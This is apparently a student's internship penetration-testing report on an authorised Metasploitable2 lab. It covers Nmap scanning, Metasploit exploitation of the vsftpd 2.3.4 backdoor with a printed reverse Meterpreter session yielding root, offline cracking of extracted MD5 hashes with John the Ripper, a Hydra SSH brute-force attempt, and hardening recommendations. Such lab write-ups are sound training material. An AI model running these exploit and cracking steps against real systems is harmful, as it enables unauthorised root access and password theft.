

APEX Planet Cybersecurity Internship

Task 4: Exploitation & System Security — Penetration Testing Report

PREPARED BY
Maaz Abbasi

ENVIRONMENT
Kali + Metasploitable2

TARGET IP
10.0.2.4

SCOPE
Authorized Lab

1. Executive Summary

This report documents activities completed for Task 4 of the APEX Planet Cybersecurity Internship. The objective was to demonstrate a practical penetration-testing workflow including reconnaissance, scanning, vulnerability identification, exploitation, post-exploitation, password security testing, phishing awareness, malware-analysis fundamentals, and system hardening.

All exploitation activities targeted an intentionally vulnerable Metasploitable2 virtual machine. The primary exploitation objective was successfully achieved using Metasploit against the vulnerable vsftpd 2.3.4 FTP service, resulting in a **Meterpreter session with root-level access**.

FTP Exploitation

vsftpd 2.3.4 backdoor exploited. Root session acquired.

Password Testing

3 of 7 MD5 hashes cracked using John the Ripper.

SSH Security

Legacy cryptographic mismatch noted; manual access verified.

2. Objectives & Methodology

Methodology Workflow: Reconnaissance → Scanning → Vulnerability Identification → Exploitation → Post-Exploitation → Password Testing → Awareness Simulation → Mitigation → Reporting.

- Perform reconnaissance and network scanning against laboratory targets.
- Execute exploitation using Metasploit and establish a reverse Meterpreter session.
- Perform post-exploitation enumeration and password security testing via John the Ripper.
- Analyze system hardening measures and design an educational phishing simulation.

3. Laboratory Environment

Component	Hostname / Details	IP Address
Testing Machine (Kali Linux)	kali-2026vm (VirtualBox, i686)	10.0.2.15
Target Machine (Metasploitable2)	metasploitable.localdomain (Linux 2.6.24)	10.0.2.4

4. Reconnaissance and Scanning

An Nmap scan (`nmap -sS -sV -O 10.0.2.4`) revealed multiple open services on the target:

Port	Service	Version / Information
21/tcp	FTP	vsftpd 2.3.4 (Vulnerable Backdoor)
22/tcp	SSH	OpenSSH 4.7p1 (Legacy crypto)
80/tcp	HTTP	Apache 2.2.8
139/445	SMB	Samba

5. Metasploit Exploitation & Meterpreter Session

The `exploit/unix/ftp/vsftpd_234_backdoor` module was configured against the target FTP service:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(...) > set RHOSTS 10.0.2.4
msf6 exploit(...) > exploit [*] Started reverse TCP handler on 10.0.2.15:4444 [+] Backdoor has
been spawned! [+] Meterpreter session 1 opened
```

Post-exploitation verification confirmed high-privilege access:

```
meterpreter > sysinfo Computer : metasploitable.localdomain OS : Ubuntu 8.04 (Linux
2.6.24-16-server) meterpreter > getuid Server username: root
```

6. Password Security Testing

John the Ripper Hash Cracking: Seven authorized MD5-crypt password hashes were extracted from the laboratory target and evaluated offline against the RockYou wordlist.

Metric	Result
Hashes Loaded	7 hashes with distinct salts
Hashes Cracked	3 successfully recovered
Tool / Wordlist	John the Ripper / RockYou

Hydra SSH Password Testing: A controlled Hydra brute-force attempt against SSH encountered a legacy cryptographic incompatibility (`kex error : no match for method mac algo`). Manual SSH connectivity using explicit legacy flags successfully verified service reachability without modifying the target.

7. Phishing Awareness Simulation

A controlled local awareness page was hosted using Python (`python3 -m http.server 8081`) to highlight social-engineering indicators (suspicious links, urgent requests, unusual domains). **No credentials or user data were collected or transmitted** during this simulation.

8. Malware Analysis Fundamentals

- **Static Analysis:** Examining files without execution using tools like `file`, `sha256sum`, and `strings` to identify file type, hashes, and embedded strings.
- **Dynamic Analysis:** Observing behavior during execution (processes spawned, file modifications, network traffic) within an isolated sandbox environment.

9. System Hardening & Mitigations

Finding / Vulnerability	Evidence / Impact	Recommended Mitigation
Vulnerable vsftpd 2.3.4	Metasploit root shell achieved	Upgrade/remove vulnerable FTP service; disable if unused.
Weak Password Security	3 of 7 MD5 hashes cracked	Enforce complex passwords and modern hashing algorithms.
Legacy SSH Configuration	Obsolete MAC negotiation limits	Disable obsolete algorithms; apply strong SSH hardening.

10. Ethical Considerations & Conclusion

All testing was performed strictly inside an authorized educational laboratory environment (VirtualBox / Metasploitable2). No public infrastructure or unauthorized accounts were targeted.

Conclusion: Task 4 provided practical, hands-on competency in the penetration-testing lifecycle. Successful exploitation of the FTP backdoor, post-exploitation verification, and offline password cracking underscored the critical importance of robust patch management, strong authentication controls, and proactive system hardening.